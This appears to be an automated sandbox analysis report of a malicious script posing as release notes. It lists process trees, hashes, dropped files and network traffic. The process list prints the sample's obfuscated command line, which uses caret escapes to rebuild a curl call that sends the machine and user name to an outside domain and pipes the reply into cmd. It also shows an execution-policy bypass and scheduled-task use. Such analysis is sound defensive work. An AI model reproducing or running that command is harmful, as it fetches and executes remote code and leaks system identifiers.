download:

/releasenotes.php

Full analysis: https://app.any.run/tasks/fad17768-d1d1-4501-ba68-7877a6cd2397
Verdict: Malicious activity
Analysis date: May 17, 2025, 11:36:38
OS: Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME: text/plain
File info: ASCII text
MD5:

C227EA9BDACF4F9F2E29FC07E75774B6

SHA1:

BE1A89089162546F5EB0E89229113DC9A13DA761

SHA256:

27F3F89D1C296B42C78CAD3382E823FB486ECF38035AD0E3375C6D60B0993AB2

SSDEEP:

6:0sWvsHEuEl7E4NgvjuFxnkmDFw1ssHDK8eYAqn:0sUsku14NHGQ0DK8etq

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  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 3020)

    • Execute application with conhost.exe as parent process

      • cmd.exe (PID: 7996)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 7560)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • conhost.exe (PID: 2908)

    • The process executes via Task Scheduler

      • conhost.exe (PID: 2908)

  • INFO

    • Manual execution by a user

      • notepad++.exe (PID: 7876)
      • powershell.exe (PID: 3020)
      • notepad++.exe (PID: 5156)
      • cmd.exe (PID: 7560)
      • mmc.exe (PID: 4068)
      • mmc.exe (PID: 6576)

    • Reads Microsoft Office registry keys

      • OpenWith.exe (PID: 7440)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 3020)

    • Reads the software policy settings

      • slui.exe (PID: 7624)
      • slui.exe (PID: 1804)

    • Reads security settings of Internet Explorer

      • mmc.exe (PID: 6576)

    • Execution of CURL command

      • cmd.exe (PID: 7996)

    • Checks proxy server information

      • slui.exe (PID: 1804)
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No Malware configuration.
No data.
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Total processes
163
Monitored processes
20
Malicious processes
0
Suspicious processes
2

Behavior graph

Click at the process to see the details
start openwith.exe no specs sppextcomobj.exe no specs slui.exe notepad++.exe no specs powershell.exe no specs conhost.exe no specs notepad++.exe no specs slui.exe cmd.exe no specs conhost.exe no specs schtasks.exe no specs mmc.exe no specs mmc.exe conhost.exe no specs cmd.exe no specs curl.exe no specs ucpdmgr.exe no specs conhost.exe no specs ucpdmgr.exe no specs conhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1804C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
2136"C:\WINDOWS\system32\UCPDMgr.exe"C:\Windows\System32\UCPDMgr.exe—svchost.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
User Choice Protection Manager
Exit code:
0
Version:
1.0.0.414301
Modules
Images
c:\windows\system32\ucpdmgr.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
2416\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—UCPDMgr.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2800curl https://ntplugnplay.com/jb5.php?bz=DESKTOP-JGLLJLD;adminC:\Windows\System32\curl.exe—cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
1
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
2908"C:\WINDOWS\system32\conhost.EXE" --headless cmd /v:on /c set gz=ht& set gtz=tps:& set 7gg=!gz!!gtz!& set 6hg=!7gg!//n^tpl^ugn^pl^ay.co^m& c^ur^l !6hg!/j^b5.p^hp?bz=DESKTOP-JGLLJLD;admin|c^m^d"!A0`C:\Windows\System32\conhost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3020"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass "C:\Users\admin\Desktop\releasenotes.ps1"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3032"C:\WINDOWS\system32\UCPDMgr.exe"C:\Windows\System32\UCPDMgr.exe—svchost.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
User Choice Protection Manager
Exit code:
0
Version:
1.0.0.414301
Modules
Images
c:\windows\system32\ucpdmgr.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
3676\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—UCPDMgr.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4068"C:\WINDOWS\system32\mmc.exe" "C:\WINDOWS\system32\taskschd.msc" /sC:\Windows\System32\mmc.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Management Console
Exit code:
3221226540
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mmc.exe
c:\windows\system32\ntdll.dll
5156"C:\Program Files\Notepad++\notepad++.exe" "C:\Users\admin\Desktop\releasenotes.ps1"C:\Program Files\Notepad++\notepad++.exe—explorer.exe
User:
admin
Company:
Don HO don.h@free.fr
Integrity Level:
MEDIUM
Description:
Notepad++ : a free (GNU) source code editor
Version:
7.91
Modules
Images
c:\program files\notepad++\notepad++.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
Total events
6 907
Read events
6 905
Write events
2
Delete events
0

Modification events

(PID) Process:(6576) mmc.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MMC\SnapIns\FX:{c7b8fb06-bfe1-4c2e-9217-7a69a95bbac4}
Operation:writeName:HelpTopic
Value:
C:\WINDOWS\Help\taskscheduler.chm
(PID) Process:(6576) mmc.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MMC\SnapIns\FX:{c7b8fb06-bfe1-4c2e-9217-7a69a95bbac4}
Operation:writeName:LinkedHelpTopics
Value:
C:\WINDOWS\Help\taskscheduler.chm
Executable files
0
Suspicious files
4
Text files
10
Unknown types
0

Dropped files

PID
Process
Filename
Type
7876notepad++.exeC:\Users\admin\AppData\Roaming\Notepad++\stylers.xmlxml
MD5:312281C4126FA897EF21A7E8CCB8D495
SHA256:53B4BE3ED1CFD712E53542B30CFE30C5DB35CC48BE7C57727DFEC26C9E882E90
7876notepad++.exeC:\Users\admin\AppData\Roaming\Notepad++\shortcuts.xmltext
MD5:F11D96162BC521F5CF49FFE6B6841C9B
SHA256:BE9AEAEAB5A2E4899BA7E582274BA592C1B9BAF688B340A754B8EF32B23CFA9C
7876notepad++.exeC:\Users\admin\AppData\Roaming\Notepad++\backup\releasenotes.php@2025-05-17_113658text
MD5:C227EA9BDACF4F9F2E29FC07E75774B6
SHA256:27F3F89D1C296B42C78CAD3382E823FB486ECF38035AD0E3375C6D60B0993AB2
3020powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:4AF9CA29AB41B995D8A3EC5FF70F551E
SHA256:32B65FEADE5B597CB455B4E7A90DAE6F73C07A0576D6198A94D854AEBFB6EE7A
3020powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T3S8DC1VRVS4ABBUTLGL.tempbinary
MD5:943E6E5A3BBAC0F2CA491427B686DD62
SHA256:F4CEF7B8CA721AB4966FF7E88BA414C51C355591CC9EBD664C8A9F4BDB08D8BB
3020powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4ybzygre.exh.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3020powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wg5fohh2.jl2.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7876notepad++.exeC:\Users\admin\AppData\Roaming\Notepad++\config.xmlxml
MD5:A2ED875AA42589077C4D08F4F8912018
SHA256:77B0174D655F327C1FC9520B4F8831ECD82E98351B26BB9C2EDD98FF0CD63A2D
3020powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF114497.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
7876notepad++.exeC:\Users\admin\AppData\Roaming\Notepad++\session.xmltext
MD5:114D4515FCFAE22C4BD81EEDECF25068
SHA256:A647CE9455F3E289342965D1E4A30019CD47E379DE138B12E9276DCF879006DD
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HTTP(S) requests
10
TCP/UDP connections
60
DNS requests
30
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.216.77.26:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
7244
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
7244
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D
unknown
—
—
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
2104
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
23.216.77.26:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5496
MoUsoCoreWorker.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
3216
svchost.exe
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
—
—
40.126.31.1:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
whitelisted
crl.microsoft.com
  • 23.216.77.26
  • 23.216.77.25
  • 23.216.77.19
  • 23.216.77.35
  • 23.216.77.36
  • 23.216.77.37
  • 23.216.77.28
  • 23.216.77.27
  • 23.216.77.18
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
google.com
  • 142.250.185.174
whitelisted
client.wns.windows.com
  • 172.211.123.248
  • 172.211.123.250
whitelisted
login.live.com
  • 40.126.31.1
  • 20.190.159.128
  • 20.190.159.4
  • 40.126.31.130
  • 40.126.31.69
  • 40.126.31.67
  • 20.190.159.64
  • 20.190.159.68
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
slscr.update.microsoft.com
  • 20.109.210.53
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.3.187.198
whitelisted
activation-v2.sls.microsoft.com
  • 20.83.72.98
whitelisted

Threats

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